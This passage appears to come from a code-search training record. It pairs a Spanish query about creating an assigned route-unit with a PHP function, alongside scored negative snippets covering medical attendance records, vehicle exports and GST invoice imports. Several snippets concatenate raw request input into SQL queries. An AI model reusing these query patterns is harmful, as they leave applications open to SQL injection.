{\r\n $this->registry->template->PATH_EVENT = \"update_save\";\r\n $this->registry->template->linkTree = $exp->linkTree($exp_id, $exa_row->tra_id, $exa_row->cue_id);\r\n } else {\r\n $this->registry->template->PATH_EVENT = \"update_saveReg\";\r\n $this->registry->template->linkTree = $exp->linkTreeReg($exp_id, $exa_row->tra_id, $exa_row->cue_id);\r\n }\r\n $this->menu = new menu ();\r\n $liMenu = $this->menu->imprimirMenu($seccion, $_SESSION ['USU_ID']);\r\n $this->registry->template->men_titulo = $liMenu;\r\n \r\n $this->registry->template->GRID_SW = \"true\";\r\n $this->registry->template->PATH_J = \"jquery-1.4.1\";\r\n $this->registry->template->tituloEstructura = $this->tituloEstructuraD;\r\n $this->registry->template->show('header');\r\n $this->registry->template->controller = $seccion;\r\n $this->llenaDatos(VAR3);\r\n $this->registry->template->show('regarchivo.tpl');\r\n }", "public function excel()\n {\n Excel::create('Lista de vehiculos', function($excel) {\n $excel->sheet('Excel sheet', function($sheet) {\n //otra opción -> $products = Product::select('name')->get();\n\n $vehiculo = Transporte::join('empleados', 'empleados.id', '=', 'transportes.chofer_id')\n ->select('transportes.nombre_Unidad','transportes.no_Serie','transportes.placas','transportes.poliza_Seguro','transportes.vigencia_Seguro','transportes.aseguradora','transportes.m3_Unidad','transportes.capacidad', \\DB::raw(\"concat(empleados.nombre,' ',empleados.apellidos) as 'name'\"))\n ->where('empleados.estado', 'Activo')\n ->get(); \n $sheet->fromArray($vehiculo);\n $sheet->row(1,['Nombre Vehiculo','Numero Serie','Placas','Poliza Seguro','Vigencia Seguro','Aseguradora','Capacidad Ubica','Capacidad','Nombre Chofer']);\n\n $sheet->setOrientation('landscape');\n });\n })->export('xls');\n }", "public function BuscaOrganizacionalTodosXLS($tupla)\r\n {\r\n //$dbl = new Mysql($encryt->Decrypt_Text($_SESSION[BaseDato]), $encryt->Decrypt_Text($_SESSION[LoginBD]), $encryt->Decrypt_Text($_SESSION[PwdBD]) );\r\n $Nivls = \"\";\r\n { \r\n //$Consulta3=\"select id as id_organizacion,parent_id as organizacion_padre, title as identificacion from mos_organizacion where id in ($tupla[id_organizacion])\";\r\n $Consulta3=\"select * from mos_documentos_estrorg_arbolproc where IDDoc='\".$tupla[IDDoc].\"' and tipo='EO'\"; \r\n $Resp3 = $this->dbl->query($Consulta3,array()); \r\n foreach ($Resp3 as $Fila3) \r\n { \r\n $Nivls .= $this->BuscaOrganizacional(array('id_organizacion' => $Fila3[id_organizacion_proceso])).\"\\n\";\r\n }\r\n if($Nivls!='')\r\n $Nivls=$Nivls;//substr($Nivls,0,strlen($Nivls)-6);\r\n else\r\n $Nivls='-- Sin información --';\r\n }\r\n \r\n return $Nivls;\r\n\r\n }", "public function without_invoice_summary_function($path5, $without_invoice) {\n\n $object = PHPExcel_IOFactory::load($path5);\n $worksheet = $object->getActiveSheet();\n $highestRow = $worksheet->getHighestRow();\n $highestColumn = $worksheet->getHighestColumn();\n $customer_id = $this->input->post(\"cust_id\");\n $insert_id = $this->generate_insert_id();\n $customer_file_years = $this->input->post('customer_file_years');\n $original_month = array();\n $showing_month = array();\n $category = array();\n $gstin_arr = array();\n $invoice_date = array();\n $invoice_no = array();\n $name = array();\n $invoice_value = array();\n $taxable_value = array();\n $igst = array();\n $cgst = array();\n $sgst = array();\n $cess = array();\n $abc2 = $object->getActiveSheet()->getCell('A' . 3)->getValue();\n $x = filter_var($abc2, FILTER_SANITIZE_NUMBER_INT);\n $a1 = chunk_split($x, 4, \"-\");\n $a2 = rtrim($a1, '-');\n// exit;\n if ($customer_file_years == \"\") {\n $response['id'] = 'customer_file_years';\n $response['error'] = 'Please Select year';\n echo json_encode($response);\n exit;\n } else if ($customer_file_years == $a2) {\n for ($i = 0; $i <= $highestRow; $i++) {\n if ($object->getActiveSheet()->getCell(\"B\" . $i)->getValue() == \"Original Month\") { //get records of origial month\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $og_mon = $object->getActiveSheet()->getCell(\"B\" . $j)->getValue();\n $original_month[] = $og_mon;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"C\" . $i)->getValue() == \"Showing in month\") { //get records of Showing month\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $show_mon = $object->getActiveSheet()->getCell(\"C\" . $j)->getValue();\n $showing_month[] = $show_mon;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"D\" . $i)->getValue() == \"Category\") { //get records of Showing month\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $cat = $object->getActiveSheet()->getCell(\"D\" . $j)->getValue();\n $category[] = $cat;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"E\" . $i)->getValue() == \"GSTIN\") { //get records of GSTIN\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $gstin = $object->getActiveSheet()->getCell(\"E\" . $j)->getValue();\n $gstin_arr[] = $gstin;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"F\" . $i)->getValue() == \"Invoice Date\") { //get records of Invoice Date\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $invoiceDate = $object->getActiveSheet()->getCell(\"F\" . $j)->getValue();\n $invoice_date[] = $invoiceDate;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"G\" . $i)->getValue() == \"Invoice No\") { //get records of Invoice No\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $invoiceno = $object->getActiveSheet()->getCell(\"G\" . $j)->getValue();\n $invoice_no[] = $invoiceno;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"H\" . $i)->getValue() == \"Name\") { //get records of Names\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $names = $object->getActiveSheet()->getCell(\"H\" . $j)->getValue();\n $name[] = $names;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"I\" . $i)->getValue() == \"Invoice Value \") { //get records of Invoice Value \n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $invoice_val = $object->getActiveSheet()->getCell(\"I\" . $j)->getValue();\n $invoice_value[] = $invoice_val;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"J\" . $i)->getValue() == \"Taxable Value\") { //get records of Showing month\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $tax_val = $object->getActiveSheet()->getCell(\"J\" . $j)->getValue();\n $taxable_value[] = $tax_val;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"K\" . $i)->getValue() == \"IGST\") { //get records of IGST\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $igst_val = $object->getActiveSheet()->getCell(\"K\" . $j)->getValue();\n $igst[] = $igst_val;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"L\" . $i)->getValue() == \"CGST\") { //get records of CGST\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $cgst_val = $object->getActiveSheet()->getCell(\"L\" . $j)->getValue();\n $cgst[] = $cgst_val;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"M\" . $i)->getValue() == \"SGST\") { //get records of SGST\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $sgst_val = $object->getActiveSheet()->getCell(\"M\" . $j)->getValue();\n $sgst[] = $sgst_val;\n }\n } else {\n \n }\n if ($object->getActiveSheet()->getCell(\"N\" . $i)->getValue() == \"CESS\") { //get records of SGST\n for ($j = $i + 1; $j <= $highestRow; $j++) {\n $cess_val = $object->getActiveSheet()->getCell(\"N\" . $j)->getValue();\n $cess[] = $cess_val;\n }\n } else {\n \n }\n }\n } else {\n $response['id'] = 'file_ex_withot_invoice';\n $response['error'] = 'Year is mismatch with file.Please choose correct.';\n echo json_encode($response);\n exit;\n }\n\n $count = count($original_month);\n $query = $this->db2->query(\"SELECT * FROM `invoice_not_included_gstr1` where customer_id='$customer_id'\");\n if ($this->db2->affected_rows() > 0) {\n $monthly_history = $this->insert_without_invoice_history($customer_id);\n if ($monthly_history == true) {\n for ($k = 0; $k < $count; $k++) {\n\n if ($original_month[$k] == \"\") {\n $original_month[$k] = \"0\";\n }\n if ($showing_month[$k] == \"\") {\n $showing_month[$k] = \"0\";\n }\n if ($category[$k] == \"\") {\n $category[$k] = \"0\";\n }\n if ($gstin_arr[$k] == \"\") {\n $gstin_arr[$k] = \"0\";\n }\n if ($invoice_date[$k] == \"\") {\n $invoice_date[$k] = \"0\";\n }\n if ($invoice_no[$k] == \"\") {\n $invoice_no[$k] = \"0\";\n }\n if ($name[$k] == \"\") {\n $name[$k] = \"Not Given\";\n }\n if ($invoice_value[$k] == \"\") {\n $invoice_value[$k] = \"0\";\n }\n if ($taxable_value[$k] == \"\") {\n $taxable_value[$k] = \"0\";\n }\n if ($igst[$k] == \"\") {\n $igst[$k] = \"0\";\n }\n if ($cgst[$k] == \"\") {\n $cgst[$k] = \"0\";\n }\n if ($sgst[$k] == \"\") {\n $sgst[$k] = \"0\";\n }\n if ($cess[$k] == \"\") {\n $cess[$k] = \"0\";\n }\n\n $query = (\"insert into invoice_not_included_gstr1 (`customer_id`,`insert_id`,`original_month`,`showing_month`,\"\n . \"`category`,`gstin_no`,`invoice_date`,`invoice_no`,`name`,`invoice_value`,`taxable_value`,`igst`,`cgst`,`sgst`,`cess`)\"\n . \"values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\");\n $this->db2->query($query, array($customer_id, $insert_id, $original_month[$k], $showing_month[$k], $category[$k], $gstin_arr[$k],\n $invoice_date[$k], $invoice_no[$k], $name[$k], $invoice_value[$k], $taxable_value[$k], $igst[$k], $cgst[$k], $sgst[$k], $cess[$k]));\n if ($this->db2->affected_rows() > 0) {\n// echo'yes';\n $without_invoice++;\n }\n }\n }\n } else {\n for ($k = 0; $k < $count; $k++) {\n\n if ($original_month[$k] == \"\") {\n $original_month[$k] = \"0\";\n }\n if ($showing_month[$k] == \"\") {\n $showing_month[$k] = \"0\";\n }\n if ($category[$k] == \"\") {\n $category[$k] = \"0\";\n }\n if ($gstin_arr[$k] == \"\") {\n $gstin_arr[$k] = \"0\";\n }\n if ($invoice_date[$k] == \"\") {\n $invoice_date[$k] = \"0\";\n }\n if ($invoice_no[$k] == \"\") {\n $invoice_no[$k] = \"0\";\n }\n if ($name[$k] == \"\") {\n $name[$k] = \"Not Given\";\n }\n if ($invoice_value[$k] == \"\") {\n $invoice_value[$k] = \"0\";\n }\n if ($taxable_value[$k] == \"\") {\n $taxable_value[$k] = \"0\";\n }\n if ($igst[$k] == \"\") {\n $igst[$k] = \"0\";\n }\n if ($cgst[$k] == \"\") {\n $cgst[$k] = \"0\";\n }\n if ($sgst[$k] == \"\") {\n $sgst[$k] = \"0\";\n }\n if ($cess[$k] == \"\") {\n $cess[$k] = \"0\";\n }\n\n $query = (\"insert into invoice_not_included_gstr1 (`customer_id`,`insert_id`,`original_month`,`showing_month`,\"\n . \"`category`,`gstin_no`,`invoice_date`,`invoice_no`,`name`,`invoice_value`,`taxable_value`,`igst`,`cgst`,`sgst`,`cess`)\"\n . \"values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)\");\n $this->db2->query($query, array($customer_id, $insert_id, $original_month[$k], $showing_month[$k], $category[$k], $gstin_arr[$k],\n $invoice_date[$k], $invoice_no[$k], $name[$k], $invoice_value[$k], $taxable_value[$k], $igst[$k], $cgst[$k], $sgst[$k], $cess[$k]));\n// if ($this->db2->affected_rows() > 0) {\n//// echo'yes';\n// } else {\n//// echo'no';\n// }\n }\n }\n return $without_invoice;\n }" ]
[ "0.61434567", "0.6125422", "0.6024432", "0.60075057", "0.59801286", "0.5979597", "0.59303385", "0.5922777", "0.5885762", "0.5877549", "0.58712184", "0.58447623", "0.58423895", "0.57960165", "0.57775486", "0.5752686", "0.57500744", "0.56962335", "0.56674993", "0.56663674", "0.56553715", "0.5648917", "0.56242293", "0.55999506", "0.55991787", "0.559245", "0.557227", "0.555874", "0.55565184", "0.5555283", "0.5539332", "0.55242276", "0.55214876", "0.5520335", "0.5515605", "0.5505149", "0.5502617", "0.54923344", "0.546781", "0.54656565", "0.5459581", "0.5449519", "0.544167", "0.542221", "0.5419068", "0.54189277", "0.5401294", "0.53922874", "0.5388298", "0.53855604", "0.53832394", "0.5373773", "0.53726256", "0.5370449", "0.53704286", "0.53702796", "0.53621894", "0.5359831", "0.5350294", "0.5344428", "0.53340787", "0.5331924", "0.5324538", "0.53197515", "0.5316407", "0.53147423", "0.5313937", "0.5304779", "0.5295398", "0.52873564", "0.5285092", "0.528155", "0.52795374", "0.52734834", "0.5271182", "0.527118", "0.5270948", "0.52667034", "0.52645683", "0.52600515", "0.52571994", "0.52558017", "0.5247428", "0.5244394", "0.52418697", "0.523998", "0.52324635", "0.523227", "0.5231421", "0.5225441", "0.5218253", "0.52135414", "0.52111644", "0.52104443", "0.52080446", "0.52034324", "0.5201242", "0.5195433", "0.51947457", "0.5194216" ]
0.6275652
0
funcion que crea la ruta_unidad_asignada
function crear_ruta_unidad($un_x,$r_x,$usu,$cli){ global $db,$dbf,$fecha_con_formato,$nueva_ruta,$insertar_ruta_unidad; $data = Array( 'DESCRIPTION' => utf8_decode(strtoupper($r_x)), 'COD_USER' => $usu, 'COD_CLIENT' => $cli, 'CREATE_DATE' => $fecha_con_formato ); if($dbf-> insertDB($data,'SAVL_ROUTES',true) == true){ echo "se genero la ruta, ahora se asigna unidad a ruta siempre y cuando sea diferente de -1 en el cod_entity"; $ruta = "SELECT ID_ROUTE FROM SAVL_ROUTES WHERE DESCRIPTION LIKE '%".strtoupper($r_x)."%'"; $query = $db->sqlQuery($ruta); $row = $db->sqlFetchArray($query); $count_x = $db->sqlEnumRows($query); if($un_x!=-1) { $data_3 = Array( 'ID_ROUTE' => $row['ID_ROUTE'], 'COD_ENTITY' => $un_x, 'COD_USER' => $usu, 'CREATE_DATE' => $fecha_con_formato ); if($dbf-> insertDB($data_3,'SAVL_ROUTES_UNITS',true) == true){ echo "info de la ruta".$row['ID_ROUTE'].'-'.$un_x.'-'.$usu.'-'.$fecha_con_formato.'<br />'; }else{ echo "fallo en ruta-unidad"; } } } $nueva_ruta = $row['ID_ROUTE']; $insertar_ruta_unidad = $insertar_ruta_unidad + 1; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function generarAtencion()\r\n{ \r\n\tglobal $use;\r\n\tglobal $priv;\r\n\r\n\t\t//DISTINGUE ENTRE ATENCION A DOMICILIO O ATENCION EN CONSULTORIO\r\n\t\tif(isset($_POST['atencion_domicilio'])){\r\n\t\t\t$dom=$_POST['dom'];\r\n\t\t\t$nrocasa=$_POST['nrocasa'];\r\n\t\t\t$barrio=$_POST['barrio'];\r\n\t\t\t$localidad=$_POST['localidad'];\r\n\t\t\t$cod_postal=$_POST['codpostal'];\r\n\t\t\t$dpto=$_POST['dpto'];\r\n\t\t}\r\n\t\telse{\r\n\t\t\t$dom='EN CONSULTORIO';\r\n\t\t\t$nrocasa='';\r\n\t\t\t$barrio='';\r\n\t\t\t$localidad='';\r\n\t\t\t$cod_postal='';\r\n\t\t\t$dpto='';\r\n\t\t}\r\n\r\n\tif(isset($_POST['doctit']) && isset($_POST['nro'])){\r\n\t\t\r\n\t\t$cod_ser=$_POST['cod_serv'];\r\n\t\t$doctitu=$_POST['doctit'];\r\n\t\t$numdoc=$_POST['doc'];\r\n\t\t$nombre=$_POST['nombre'];\r\n\t\t$fec_pedido=$_POST['fecha'];\r\n\t\t$hora_pedido=$_POST['hora'];\r\n\t\t$dessit=$_POST['desc'];\r\n\t\t$profesional=$_POST['prof'];\r\n\t\t$sexo=$_POST['sexo'];\r\n\t\t$tel=$_POST['tel'];\r\n\t\t$id_persona= $_POST['id_persona'];\r\n\t\t$nro=$_POST['nro'];\t\t//nro es el numero de asociado\r\n\r\n\t\t$profesional_explode = explode('|',$profesional); //$profesional_explode[0] es nombre y $profesional_explode[1] es id_profesional\r\n\t\t\r\n\t\t$resultado=$GLOBALS['db']->query(\"INSERT INTO fme_asistencia (cod_ser,doctitu,numdoc,nombre,fec_pedido,hora_pedido,dessit,profesional,domicilio,casa_nro,barrio,localidad,codpostal,dpmto,id_persona, id_profesional)\r\n\t\t\t\tVALUES ('$cod_ser','$doctitu','$numdoc','$nombre','$fec_pedido','$hora_pedido','$dessit','$profesional_explode[0]','$dom','$nrocasa','$barrio','$localidad','$cod_postal','$dpto','$id_persona','$profesional_explode[1]')\");\r\n\t\t\r\n\t\t$res2=$GLOBALS['db']->select(\"SELECT idnum FROM fme_asistencia WHERE idnum=LAST_INSERT_ID()\");//obtentemos el id_atencion del ultimo insert realizado\r\n\t\t\r\n\t\t$id_atencion=$res2[0]['idnum']; \r\n\r\n\t\tif(!$resultado)\r\n\t\t{\r\n\t\t\t$error=[\r\n\t\t\t\t\t'menu'\t\t\t=>\"Atenciones\",\r\n\t\t\t\t\t'funcion'\t\t=>\"generarAtencion\",\r\n\t\t\t\t\t'descripcion'\t=>\"No se pudo realizar la consulta: INSERT INTO fme_asistencia (doctitu,numdoc,nombre,fec_pedido,hora_pedido,dessit,profesional)\r\n\t\t\t\tVALUES ('$doctitu','$numdoc','$nombre','$fec_pedido','$hora_pedido','$dessit','$profesional')\"\r\n\t\t\t\t\t];\r\n\t\t\techo $GLOBALS['twig']->render('/Atenciones/error.html', compact('error','use','priv'));\t\r\n\t\t\treturn;\r\n\t\t}\r\n\t\t\r\n\t\theader('Location: ./nueva_atencion_finalizar.php?id_atencion='.$id_atencion);\r\n\t\treturn;\r\n\t}\r\n\t\r\n\t\r\n\t//SI NO SE SETEA DOCTIT, ES PORQUE ES UN PARTICULAR ENTONCES:\r\n\telse{\r\n\t\t\t\t\r\n\t\t$cod_ser=$_POST['cod_serv'];\r\n\t\t$doctitu='';\r\n\t\t$numdoc=$_POST['doc'];\r\n\t\t$nombre=$_POST['nombre'];\r\n\t\t$fec_pedido=$_POST['fecha'];\r\n\t\t$hora_pedido=$_POST['hora'];\r\n\t\t$dessit=$_POST['desc'];\r\n\t\t$profesional=$_POST['prof'];\r\n\t\t$sexo=$_POST['sexo'];\r\n\t\t$tel=$_POST['tel'];\r\n\t\t$id_persona= $_POST['id_persona'];\r\n\t\t$nro='';\t\t//nro es el numero de asociado\r\n\r\n\t\t$profesional_explode = explode('|',$profesional); //$profesional_explode[0] es nombre y $profesional_explode[1] es id_profesional\r\n\t\t\r\n\t\t$resultado=$GLOBALS['db']->query(\"INSERT INTO fme_asistencia (cod_ser,doctitu,numdoc,nombre,fec_pedido,hora_pedido,dessit,profesional,domicilio,casa_nro,barrio,localidad,codpostal,dpmto,id_persona, id_profesional)\r\n\t\t\t\tVALUES ('$cod_ser','$doctitu','$numdoc','$nombre','$fec_pedido','$hora_pedido','$dessit','$profesional_explode[0]','$dom','$nrocasa','$barrio','$localidad','$cod_postal','$dpto','$id_persona','$profesional_explode[1]')\");\r\n\t\t\r\n\t\t$res2=$GLOBALS['db']->select(\"SELECT idnum FROM fme_asistencia WHERE idnum=LAST_INSERT_ID()\");//obtentemos el id_atencion del ultimo insert realizado\r\n\t\t\t\t\r\n\t\t$id_atencion=$res2[0]['idnum']; \r\n\r\n\t\tif(!$resultado)\r\n\t\t{\r\n\t\t\t$error=[\r\n\t\t\t\t\t'menu'\t\t\t=>\"Atenciones\",\r\n\t\t\t\t\t'funcion'\t\t=>\"generarAtencion\",\r\n\t\t\t\t\t'descripcion'\t=>\"No se pudo realizar la consulta: INSERT INTO fme_asistencia (doctitu,numdoc,nombre,fec_pedido,hora_pedido,dessit,profesional)\r\n\t\t\t\tVALUES ('$doctitu','$numdoc','$nombre','$fec_pedido','$hora_pedido','$dessit','$profesional')\"\r\n\t\t\t\t\t];\r\n\t\t\techo $GLOBALS['twig']->render('/Atenciones/error.html', compact('error','use','priv'));\t\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\t$persona=[\r\n\t\t\t'cod_serv'\t=>\t$cod_ser,\r\n\t\t\t'fecha'\t\t=>\t$fec_pedido,\r\n\t\t\t'hora'\t\t=>\t$hora_pedido,\r\n\t\t\t'nro'\t\t=>\t$nro,\r\n\t\t\t'nombre'\t=>\t$nombre,\r\n\t\t\t'sexo'\t\t=>\t$sexo,\r\n\t\t\t'tel'\t\t=>\t$tel,\r\n\t\t\t'doc'\t\t=>\t$numdoc,\r\n\t\t\t'doctit'\t=>\t$doctitu,\r\n\t\t\t'dom'\t\t=>\t$dom,\r\n\t\t\t'nro_casa'\t\t=>\t$nrocasa,\r\n\t\t\t'barrio'\t\t=>\t$barrio,\r\n\t\t\t'localidad'\t\t=>\t$localidad,\r\n\t\t\t'cod_postal'\t=>\t$cod_postal,\r\n\t\t\t'dpmto'\t\t\t=>\t$dpto,\r\n\t\t\t'prof'\t\t=>\t$profesional,\r\n\t\t\t'desc'\t\t=>\t$dessit\r\n\t\t];\r\n\t\t\r\n\t\theader('Location: ./nueva_atencion_finalizar.php?id_atencion='.$id_atencion);\r\n\t\treturn;\r\n\t}\r\n\r\n\t\r\n}", "function crea_ruta_punto($itm,$r){\n\t \n\n global $db,$dbf,$fecha_con_formato,$cp,$cpno, $existe_punto_detalle;\n $cuenta_puntos=0;\n\t$cuenta_puntos_no = 0;\n\t$otra_ban = 0;\n\t$bandera =0;\n \n\t\t\t\t$usuario = \"SELECT COD_OBJECT_MAP FROM SAVL_G_PRIN WHERE ITEM_NUMBER = '\".$itm.\"'\";\n\t\t\t $query_user = $db->sqlQuery($usuario);\n\t\t\t\t$row_user = $db->sqlFetchArray($query_user);\n\t\t\t\t$count_user = $db->sqlEnumRows($query_user);\t \t \n\t\t\t\t\t\t\t \n\t\t\t\t\tif($count_user > 0)\t{\t\t\n\t\t\t\t \n \t\t\t\t\t$punto = \"SELECT COD_OBJECT_MAP FROM SAVL_ROUTES_DETAIL WHERE COD_OBJECT_MAP =\".$row_user['COD_OBJECT_MAP'];\n \t\t\t $query_punto = $db->sqlQuery($punto);\n \t\t\t\t $count_punto = $db->sqlEnumRows($query_punto);\n\t\t\t\t \n \t\t\t\t if($count_punto>0){\n \t\t\t\t\t\t // $existe_punto = $existe_punto +1;\n \t\t\t\t echo \"ya existe el geopunto en routes_detail, se guardara este mismo geopunto con otra ruta...\";\n\t\t\t\t\t\t\t\t\t\t\t$otra_ban = 1;\n \t\t\t\t\t\t }\n\t\t\t\t \n \t\t\t\t //if($count_punto==0){\n \t\t\t\t\t\t\t $data_2 = Array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'ID_ROUTE' => $r,\n\t\t\t\t\t\t\t\t\t\t\t\t\t'COD_OBJECT_MAP' => $row_user['COD_OBJECT_MAP'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t'CREATE_DATE' => $fecha_con_formato\n\t\t\t\t\t\t\t\t\t\t\t\t );\n \t\t\t\tif($dbf-> insertDB($data_2,'SAVL_ROUTES_DETAIL',false) == true){\n \t\t\t\t\t\t\t\t\t $bandera = 1;\n \t\t\t\t\t\t\t\t\t echo 1;\t\t\n }\telse{\n echo 0;\t\n }\t\n \t\t\t // }else{\n \t\t\t\t\t //\t\t$bandera = 0;\n \t\t\t\t\t //}\n\t\t\t\t \n\t\t\t\t }\n\n\t\t\tif($bandera ==1){\n\t\t\t $cp = $cp +1;\n\t\t\t}else{\n\t\t\t $cpno = $cpno +1;\n\t\t\t}\t\t\t\t\t\t\t\n\t\t\t\t\t \n\t\t\tif($otra_ban ==1){\n\t\t\t $existe_punto_detalle = $existe_punto_detalle +1;\n\t\t\t} \n \n }", "function insertarUcedifobracivil(){\n\t\t$this->procedimiento='snx.ft_ucedifobracivil_ime';\n\t\t$this->transaccion='SNX_UDOC_INS';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_ucedifsubgrupo','id_ucedifsubgrupo','int4');\n\t\t$this->setParametro('cantidadobracivil','cantidadobracivil','numeric');\n\t\t$this->setParametro('id_obracivilmoe','id_obracivilmoe','int4');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function generarCiu($nombre, $apellidos, $fnac)\n {\n //ponemos la primera letra en mayuscula y separamos el nombre en caracteres\n $nombre = ucfirst($nombre);\n $nombre = str_split($nombre, 1);\n\n //dividimos en 2 apellidos\n $apellidos = explode(\" \", $apellidos);\n\n //dividimos cada apellido en caracteres y les ponemos la primera letra en mayuscula\n $apellido1 = $apellidos[0];\n $apellido1 = ucfirst($apellido1);\n $apellido1 = str_split($apellido1, 1);\n\n $apellido2 = $apellidos[1];\n $apellido2 = ucfirst($apellido2);\n $apellido2 = str_split($apellido2, 1);\n\n //primer y tercer caracter de nombre y apellidos\n $ciu = $nombre[0] . $nombre[2] . $apellido1[0] . $apellido1[2] . $apellido2[0] . $apellido2[2];\n\n //convertimos a timestamp\n $fnac = strtotime($fnac);\n\n //fecha de nacimiento\n $ciu .= date(\"Y\", $fnac);\n $ciu .= date(\"m\", $fnac);\n $ciu .= date(\"d\", $fnac);\n\n //hacemos un bucle para comprobar que no exista ya un usuario con el mismo CIU\n\n $existe = true;\n $numero = 0;\n $nuevoCiu = \"\";\n\n //si existe el formato será NnAaAaAAAAMMDD[$numero]\n //por ejemplo: AeDnDl199912171 | AeDnDl199912172 | AeDnDl199912173 | AeDnDl199912174 etc\n do {\n //nuevo CIU a comprobar\n $nuevoCiu = $ciu . $numero;\n $cantidad = $this->Usuarios_model->comprobarExistencia($nuevoCiu);\n\n //si existe incrementamos el numero en uno\n if ($cantidad >= 1) {\n $numero++;\n } else {\n $existe = false;\n }\n } while ($existe);\n\n return $nuevoCiu;\n }", "private function inserirUnidade()\n {\n $cadUnidade = new \\App\\adms\\Models\\helper\\AdmsCreate;\n $cadUnidade->exeCreate(\"adms_unidade_policial\", $this->Dados);\n if ($cadUnidade->getResultado()) {\n $_SESSION['msg'] = \"<div class='alert alert-success'>Unidade cadastrada com sucesso!</div>\";\n $this->Resultado = true;\n } else {\n $_SESSION['msg'] = \"<div class='alert alert-danger'>Erro: A Unidade não foi cadastrada!</div>\";\n $this->Resultado = false;\n }\n }", "public function generarCodigoTipoUsuario() {\n $pdo = Database::connect();\n $sql = \"select max(ID_TIPO_USU) as cod from INV_TAB_TIPO_USUARIO\";\n $consulta = $pdo->prepare($sql);\n $consulta->execute();\n $res = $consulta->fetch(PDO::FETCH_ASSOC);\n $nuevoCod = '';\n if ($res['cod'] == NULL) {\n $nuevoCod = 'TUSU-0001';\n } else { \n $rest= ((substr($res['cod'], -4))+1).''; // Separacion de la parte numerica TUSU-0023 --> 23\n // Ciclo que completa el codigo segun lo retornado para completar los 9 caracteres \n // TUSU-00 --> 67, TUSU-0 --> 786\n if($rest >1 && $rest <=9){\n $nuevoCod = 'TUSU-000'.$rest;\n }else{\n if($rest >=10 && $rest <=99){\n $nuevoCod = 'TUSU-00'.$rest;\n }else{\n if($rest >=100 && $rest <=999){\n $nuevoCod = 'TUSU-0'.$rest;\n }else{\n $nuevoCod = 'TUSU-'.$rest; \n } \n } \n }\n }\n Database::disconnect();\n return $nuevoCod; // RETORNO DEL NUEVO CODIGO DE TIPO USUARIO\n }", "function crearPreguntas($numpreguntas,$idtemaasignado,$estu){\n\t$contador=0;\n\t$filas=$numpreguntas;\n\tforeach($this->model->SeleccionarTemasPreguntas($estu,$idtemaasignado) as $r): //tomo todas las preguntas de acuerdo al examen\n\t\t$estudiante = new estudiante();\n\t\t$estudiante->est_id =$estu;\n\t $auxiliar[$contador]=$r->PRE_ID; //asigno cada pregunta en una posicion de un array\n\t\t $temaid=$r->TA_ID; //id de la tabla de temas asignados\n\t\t$contador++;\n\t\tendforeach;\n\t\n$num = Array();\n reset($num);\n for($i=1;$i<=$filas;$i++)\n {\n $num[$i]=$auxiliar[rand(0,($contador-1))];\n if($i>1)\n {\n for($x=1; $x<$i; $x++)\n {\n if($num[$i]==$num[$x])\n {\n $i--;\n break;\n }\n }\n }\n }\n foreach($num as $valor){ //recorro todos mis preguntas aleatorias y asigno la pregunta\n\t$estudiante = new estudiante();\n\t\t\t$estudiante->est_id =$estu;\n\t\t\t $estudiante->pre_id =$valor;\n \t$estudiante->ta_id =$temaid;\n\t\t\t$this->model->AsignarPregunta($estudiante); //asigno la pregunta al estudiante\n }\n\n\t\t\n\t\t//METODO PARA ASIGNAR PREGUNTAS\n\t\n}", "function crearPlantilla($datos);", "public function crearMunicipios()\n {\n\n/**\n * Database `encuesta`\n */\n\n/* `encuesta`.`municipios` */\n$municipios = array(\n array('id' => '1','nombre' => 'Tres de Abril','url' => 'http://www.corrientesintensa.com/destino/tres-de-abril/','logo' => 'images/municipios/tres-de-abril.jpg','microrregion_id' => '4','indec_id' => '0','indec_nombre' => NULL,'departamento_id' => NULL),\n array('id' => '2','nombre' => '9 de Julio','url' => 'http://www.corrientes.gov.ar/home/9-de-julio/municipio','logo' => 'images/municipios/9_de_julio.png','microrregion_id' => '4','indec_id' => '0399','indec_nombre' => '9 de Julio (Est. Pueblo 9 de Julio)','departamento_id' => '161'),\n array('id' => '3','nombre' => 'Alvear','url' => '','logo' => 'images/municipios/alvear.jpg','microrregion_id' => '2','indec_id' => '0098','indec_nombre' => 'Alvear','departamento_id' => '056'),\n array('id' => '4','nombre' => 'Bella Vista','url' => 'http://www.bellavista.gob.ar/','logo' => 'images/municipios/bellavista.png','microrregion_id' => '4','indec_id' => '0007','indec_nombre' => 'Bella Vista','departamento_id' => '007'),\n array('id' => '5','nombre' => 'Berón de Astrada','url' => '','logo' => 